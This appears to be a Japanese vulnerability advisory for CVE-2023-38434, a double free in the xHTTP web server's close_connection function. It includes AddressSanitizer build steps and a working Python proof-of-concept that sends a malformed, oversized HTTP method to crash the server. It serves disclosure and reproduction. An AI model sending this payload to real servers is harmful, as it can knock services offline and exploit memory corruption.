CVE-2023-38434

xHTTP のコミット 72f812d 以前には、xhttp.c の 595 行目にある close_connection に double free の脆弱性があります。

if(conn->request.public.headers.list != NULL)
    free(conn->request.public.headers.list);

脆弱性を確認するには、このリポジトリに含まれる xHTTP サーバーをデバッグシンボルとアドレスサニタイザー付きでコンパイルします。

unzip xHTTP.zip
cd xHTTP-main
gcc example.c  xhttp.c -o main -fsanitize=address -g

サーバーのコンパイルが完了したら、ポート 8080 でサーバーを起動します。

xHTTP サーバー

$ ./main

double free は、不正な形式の HTTP リクエストメソッドによって引き起こされます。例えば、以下の python3 スクリプトは、不正な形式の HTTP リクエストメソッドでターゲットサーバーにリクエストを送信して double free を引き起こします。

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(('localhost', 8080))

http_headers = (
    #Request - http_headers
    b'MALFORMEDMETHOD'*1000  +  # HTTP Method (POST Request).  Sending malformed HTTP Methods invokes a double free in xHTTP
    b' '  
    b'/'  
    b' HTTP/1.0'  
    b'\r\n' 
    b'Host: '  
    b'localhost'  
    b':'  
    b'8080'  
    b'\r\n'  
    b'Accept-Encoding: '  
    b'identity'  
    b'\r\n'  
    b'Content-Type: '  #Content type
    b'application/json'  #JSON content type
    b'\r\n'  
    
    b'Connection: close\r\n'  
    b'User-Agent: '  
    b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'  
    b'\r\n'  

    b'Content-Length: '  
    b'152'  #Size - Content-Length_size
    b'\r\n'  
    b'\r\n'  #Delim - crlf_headers_body
        #Block - post_body
        b'data=Somepostdata'  

)

sock.send(http_headers)
sock.recv(65535)

sock.close()

CVE-2023-38434

人気

Python3 スクリプト

アドレスサニタイザーの出力

緩和策

参照